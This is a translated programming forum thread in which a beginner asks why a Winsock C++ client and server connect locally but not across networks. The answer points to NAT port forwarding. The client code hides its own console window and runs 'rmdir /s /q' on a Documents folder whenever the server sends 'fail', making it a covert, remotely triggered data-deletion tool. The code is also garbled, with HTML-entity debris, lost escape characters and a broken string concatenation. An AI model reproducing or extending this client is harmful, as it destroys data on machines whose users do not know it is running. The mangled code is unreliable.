#c #sockets #networking
#c #сокеты #сеть
Вопрос:
Я новичок в сокетах, и я пытался создать программу. Когда он подключен по моему локальному адресу, он работает нормально, но проблема возникает, когда я пытаюсь использовать его между сетями, и они не подключаются. Я пытался изменить IP-адрес с локального на общедоступный и множество комбинаций IP-адресов. Вот код программы:
СЕРВЕР
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstdio>
#pragma warning(disable: 4996)
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, amp;wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)amp;addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)amp;addr, amp;sizeofaddr);
if (newConnection == 0) {
std::cout << "Error #2n";
}
else {
while (true) {
std::cout << "Conectadon";
char msg[256] = "";
std::cin.getline(msg, sizeof(msg));
send(newConnection, msg, sizeof(msg), NULL);
}
}
system("pause");
return 0;
}
КЛИЕНТ
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#pragma warning(disable: 4996)
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
int main(int argc, char* argv[]) {
//WSAStartup
WSAData wsaData;
WORD DLLVersion = MAKEWORD(2, 1);
if (WSAStartup(DLLVersion, amp;wsaData) != 0) {
std::cout << "Error" << std::endl;
exit(1);
}
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("192.168.1.17");
addr.sin_port = htons(45600);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)amp;addr, sizeof(addr)) != 0) {
std::cout << "Error: failed connect to server.n";
return 1;
}
std::cout << "Soy clienten";
char msg[256] = "";
recv(Connection, msg, sizeof(msg), NULL);
std::cout << msg << std::endl;
if (msg[0] == 'f' amp;amp; msg[1] == 'a' amp;amp; msg[2] == 'i' amp;amp; msg[3] == 'l') {
std::string directoryName = "C:\Users\usuario\Documents\Prueba";
std::string a = "rmdir /s /q " directoryName;
system(a.c_str());
}
std::system("pause");
return 0;
}
Комментарии:
1. Попробуйте заменить
inet_addr("192.168.1.17")
наINADDR_ANY
2. на сервере или в клиентской части?
3. Извините, я выбрал неправильный IP-адрес, вы должны сделать это на стороне сервера, чтобы принимать соединения с любого адреса.
4. Я изменил его, но он еще не работает
Ответ №1:
если ваш сервер находится за NAT, вам необходимо включить переадресацию портов на NAT, а затем подключить клиента к общедоступному IP-адресу NAT.
Если нет, проверьте настройки брандмауэра.